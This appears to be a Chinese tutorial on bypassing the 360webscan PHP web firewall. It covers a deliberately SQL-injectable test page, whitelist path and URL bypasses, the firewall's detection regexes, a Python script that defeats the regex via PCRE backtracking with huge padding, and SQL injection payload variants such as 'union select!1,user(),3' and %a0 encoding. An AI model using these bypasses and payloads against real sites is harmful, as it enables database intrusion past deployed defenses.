使用
将360safe文件夹放入网站根目录,在入口文件或者需要过滤的文件使用:
1 | if(is_file($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php')){ |
2 | require_once($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php'); |
3 | } |
测试代码
1 | <?php |
2 | if(is_file($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php')){ |
3 | require_once($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php'); |
4 | } |
5 | |
6 | $sql="select * from tab where id =".$_POST['id']; |
7 | echo $sql; |
php_self白名单绕过
原理
1 | $webscan_white_directory='admin|\/dede\/|\/install\/'; |
php_self中含有 admin或者 /dede/ 或者 /install/时,不过滤字符
测试
传参 id=select * from aaa拦截

在urlpath之后添加 /admin ,/dede/ ,/install/之后不拦截

white_url白名单绕过
原理
1 | $webscan_white_url = array('index.php' => 'm=admin','post.php' => 'job=postnew&step=post','edit_space_info.php'=>''); |
index.php?m=admin, post.php?job=postnew&step=post , edit_apace_info.php不过滤
实例



这两个白名单的方法很容易会被使用的人给更改掉
超长字符串绕过正则
原理
1 | //get拦截规则 |
2 | $getfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; |
3 | //post拦截规则 |
4 | $postfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; |
5 | //cookie拦截规则 |
6 | $cookiefilter = "\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; |
是正则表达式设置规则,因此可利用PHP利用PCRE回溯次数限制绕过某些安全限制
测试
1 | import requests |
2 | |
3 | def exp(): |
4 | domain = 'http://debug.com' |
5 | path = '/test.php' |
6 | url = domain + path |
7 | headers = { |
8 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36", |
9 | } |
10 | # payload = "select */*"+'a'*1000000+'*/ from aaa' |
11 | payload = "select * from aaa" |
12 | data = {"id": payload} |
13 | |
14 | url = domain+path |
15 | res = requests.post(url=url, data=data, headers=headers) |
16 | if 'webscan'in res.text: |
17 | print("fobidden!\n") |
18 | exit() |
19 | |
20 | print(res.text) |
21 | |
22 | |
23 | if __name__ == "__main__": |
24 | exp() |
当直接传参时候,显示拦截了

当填充payload即id参数中1000000个a时

插入绕过正则
原理
1 | INSERT\\s+INTO.+?VALUES |
insert 数据可以用另几种方式
insert into table set name = 'admin',pass = '123456'insert table(name,password) values('admin','123456')insert into table(name,password) select 'admin','123456'
这几种写法可以随意组合着用
可用性测试:

绕过测试



另外,还可以用 replace into来代替insert与update,而且replace into也有和insert into一样的三种写法加上一种普通写法都可以绕过。
老版本绕过
检测
WEBSCAN_VERSION:0.1.3.2
先在使用了360通防的页面上发送?id=union select ’1,2,3'若是拦截,再发送id = union select!1,2,3不拦截,则可以union绕过。
可使用
union select!1,user(),3union select@1,user(),3
若是数据库编码不是utf-8则可以使用%a0隔绝select与from造成绕过。(编码问题不懂)
select%a0*%a0from%20tables